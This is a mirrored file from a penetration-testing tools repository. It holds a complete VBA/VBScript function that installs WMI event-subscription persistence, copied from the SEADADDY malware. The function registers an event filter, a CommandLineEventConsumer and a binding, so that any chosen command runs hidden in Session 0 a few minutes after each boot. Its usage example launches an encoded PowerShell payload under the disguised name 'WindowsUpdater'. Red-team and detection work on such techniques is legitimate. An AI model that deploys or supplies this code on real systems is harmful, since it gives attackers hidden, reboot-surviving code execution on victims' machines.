mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-11-22 18:41:37 +01:00
77 lines
2.7 KiB
Plaintext
77 lines
2.7 KiB
Plaintext
|
'
|
||
|
|
' SYNOPSIS:
|
||
|
|
' WMI Persistence method as originally presented by SEADADDY malware
|
||
|
|
' (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887)
|
||
|
|
' and further documented by Matt Graeber.
|
||
|
|
'
|
||
|
|
' The scheduled command will be launched after roughly 3 minutes since system
|
||
|
|
' gets up. Also, even if the command shall spawn a window - it will not be visible,
|
||
|
|
' since the command will get invoked by WmiPrvSE.exe that's running in Session 0.
|
||
|
|
'
|
||
|
|
' USAGE:
|
||
|
|
' WMIPersistence("command to be launched", "taskName")
|
||
|
|
'
|
||
|
|
' EXAMPLE:
|
||
|
|
' WMIPersistence("powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater")
|
||
|
|
'
|
||
|
|
' AUTHOR:
|
||
|
|
' Mariusz B. / mgeeky, '17
|
||
|
|
'
|
||
|
|
|
||
|
|
Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
|
||
|
|
Dim filterName, consumerName As String
|
||
|
|
Dim objLocator, objService1
|
||
|
|
Dim objInstances1, objInstances2, objInstances3
|
||
|
|
Dim newObj1, newObj2, newObj3
|
||
|
|
|
||
|
|
On Error GoTo Failed
|
||
|
|
|
||
|
|
filterName = taskName & "Event"
|
||
|
|
consumerName = taskName & "Consumer"
|
||
|
|
|
||
|
|
Set objLocator = CreateObject("WbemScripting.SWbemLocator")
|
||
|
|
Set objService1 = objLocator.ConnectServer(".", "root\subscription")
|
||
|
|
|
||
|
|
'
|
||
|
|
' Step 1: Set WMI Instance of type Event Filter
|
||
|
|
'
|
||
|
|
Set objInstances1 = objService1.Get("__EventFilter")
|
||
|
|
|
||
|
|
' The malware originally will kicks in after roughly 3 minutes since System gets up.
|
||
|
|
' One can modify this delay time by modifying the WHERE clausule of the below query.
|
||
|
|
query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _
|
||
|
|
& "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _
|
||
|
|
& "AND TargetInstance.SystemUpTime >= 200 AND " _
|
||
|
|
& "TargetInstance.SystemUpTime < 320"
|
||
|
|
|
||
|
|
' New object of type __EventFilter
|
||
|
|
Set newObj1 = objInstances1.Spawninstance_
|
||
|
|
newObj1.name = filterName
|
||
|
|
newObj1.eventNamespace = "root\cimv2"
|
||
|
|
newObj1.QueryLanguage = "WQL"
|
||
|
|
newObj1.query = query
|
||
|
|
newObj1.Put_
|
||
|
|
|
||
|
|
'
|
||
|
|
' Step 2: Set WMI instance of type: CommandLineEventConsumer
|
||
|
|
'
|
||
|
|
Set objInstances2 = objService1.Get("CommandLineEventConsumer")
|
||
|
|
Set newObj2 = objInstances2.Spawninstance_
|
||
|
|
newObj2.name = consumerName
|
||
|
|
newObj2.CommandLineTemplate = exePath
|
||
|
|
newObj2.Put_
|
||
|
|
|
||
|
|
'
|
||
|
|
' Step 3: Set WMI instance of type: Filter To Consumer Binding
|
||
|
|
'
|
||
|
|
Set objInstances3 = objService1.Get("__FilterToConsumerBinding")
|
||
|
|
Set newObj3 = objInstances3.Spawninstance_
|
||
|
|
newObj3.Filter = "__EventFilter.Name=""" & filterName & """"
|
||
|
|
newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """"
|
||
|
|
newObj3.Put_
|
||
|
|
|
||
|
|
WMIPersistence = True
|
||
|
|
Exit Function
|
||
|
|
Failed:
|
||
|
|
WMIPersistence = False
|
||
|
|
End Function
|